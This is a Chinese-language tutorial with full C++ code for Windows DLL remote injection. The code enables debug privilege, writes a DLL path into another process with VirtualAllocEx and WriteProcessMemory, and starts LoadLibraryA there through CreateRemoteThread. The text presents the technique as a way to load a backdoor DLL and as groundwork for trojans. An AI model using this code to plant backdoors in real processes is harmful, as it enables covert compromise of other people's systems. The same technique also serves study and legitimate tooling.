天天看點

DLL遠端注入執行個體

一般情況下,每個程序都有自己的私有空間,理論上,别的程序是不允許對這個私人空間進行操作的,但是,我們可以利用一些方法進入這個空間并進行操作,将自己的代碼寫入正在運作的程序中,于是就有了遠端注入了。 

對dll後門的編寫就不作過多的讨論了,現在來看實作注入功能的可執行檔案的編寫: 

用到的函數有:

OpenProcessToken();     LookupPrivilegeValue();     AdjustTokenPrivileges();     OpenProcess();     VirtualAllocEx();     WriteProcessMemory();     GetProcAddress();     CreateRemoteThread();      

先簡單的介紹以下這些函數的作用,因為我們要操作的是系統中的其他程序,如果沒有足夠的系統權限,我們是無法寫入甚至連讀取其它程序的記憶體位址的,是以我們就需要提升自己的權限,用到以下3個函數

OpenProcessToken();       //打開程序令牌     LookupPrivilegeValue();   //傳回一個本地系統獨一無二的ID,用于系統權限更改     AdjustTokenPrivileges();  //從英文意思也能看出它是更改程序權限用的吧?      

進入宿主程序的記憶體空間 

在擁有了進入宿主程序空間的權限之後,我們就需要在其記憶體加入讓它加載我們後門的代碼了,用 LoadLibraryA()函數就可以加載我們的DLL了,它隻需要DLL檔案的路徑就可以了,在這裡我們要把DLL檔案的路徑寫入到宿主的記憶體空間裡,因為DLL的檔案路徑并不存在于宿主程序記憶體空間了,用到的函數有:

OpenProcess();         //用于修改宿主程序的一些屬性,詳細參看MSDN     VirtualAllocEx();      //用于在宿主記憶體空間中申請記憶體空間以寫入DLL的檔案名     WriteProcessMemory();  //往申請到的空間中寫入DLL的檔案名      

在宿主中啟動新的線程 

用的是LoadLibraryA()函數來加載,但在使用LoadLibraryA()之前必須知道它的入口位址,是以用GetProcAdress來獲得它的入口位址,有了它的位址以後,就可以用CreateRemoteThread()函數來啟動新的線程了,到次,整個注入過程完成,不過還不非常完善,這就留給聰明的你來完成了;)。 

簡單的例子:

#include <windows.h>     #include <iostream.h>     int EnableDebugPriv(const char * name)     {     HANDLE hToken;     TOKEN_PRIVILEGES tp;     LUID luid;     //打開程序令牌環     OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY, &hToken);     //獲得程序本地唯一ID     LookupPrivilegeValue(NULL, name, &luid) ;     tp.PrivilegeCount = 1;     tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;     tp.Privileges[0].Luid = luid;     //調整權限     AdjustTokenPrivileges(hToken, 0, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL);     return 0;     }     //*****************************************************************************************************************************     BOOL InjectDll(const char *DllFullPath, const DWORD dwRemoteProcessId)     {     HANDLE hRemoteProcess;     EnableDebugPriv(SE_DEBUG_NAME);     //打開遠端線程     hRemoteProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, dwRemoteProcessId );     char *pszLibFileRemote;     //使用VirtualAllocEx函數在遠端程序的記憶體位址空間配置設定DLL檔案名空間     pszLibFileRemote = (char *) VirtualAllocEx( hRemoteProcess, NULL, lstrlen(DllFullPath)+1, MEM_COMMIT, PAGE_READWRITE);     //使用WriteProcessMemory函數将DLL的路徑名寫入到遠端程序的記憶體空間     WriteProcessMemory(hRemoteProcess, pszLibFileRemote, (void *) DllFullPath, lstrlen(DllFullPath)+1, NULL);     //##############################################################################     //計算LoadLibraryA的入口位址     PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)     GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryA");     //(關于GetModuleHandle函數和GetProcAddress函數)     //啟動遠端線程LoadLibraryA,通過遠端線程調用建立新的線程     HANDLE hRemoteThread;     if( (hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL) ) == NULL)     {     cout<<"注入線程失敗!"<<endl;     return FALSE;     }     //##############################################################################     /*     // 在//###.....//###裡的語句也可以用如下的語句代替:     DWORD dwID;     LPVOID pFunc = LoadLibraryA;     HANDLE hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, pszLibFileRemote, 0, &dwID );     //是不是感覺簡單了很多     */     // 釋放句柄     CloseHandle(hRemoteProcess);     CloseHandle(hRemoteThread);     return TRUE;     }     //*****************************************************************************************************************************     int main()     {     InjectDll("c:\\zrqfzr.dll", 3060) ;//這個數字是你想注入的程序的ID号     return 0;     }      

在NT系列作業系統中,EnableDebugPriv函數實作的部分可以去掉的。要研究木馬這個技術可是基礎。

繼續閱讀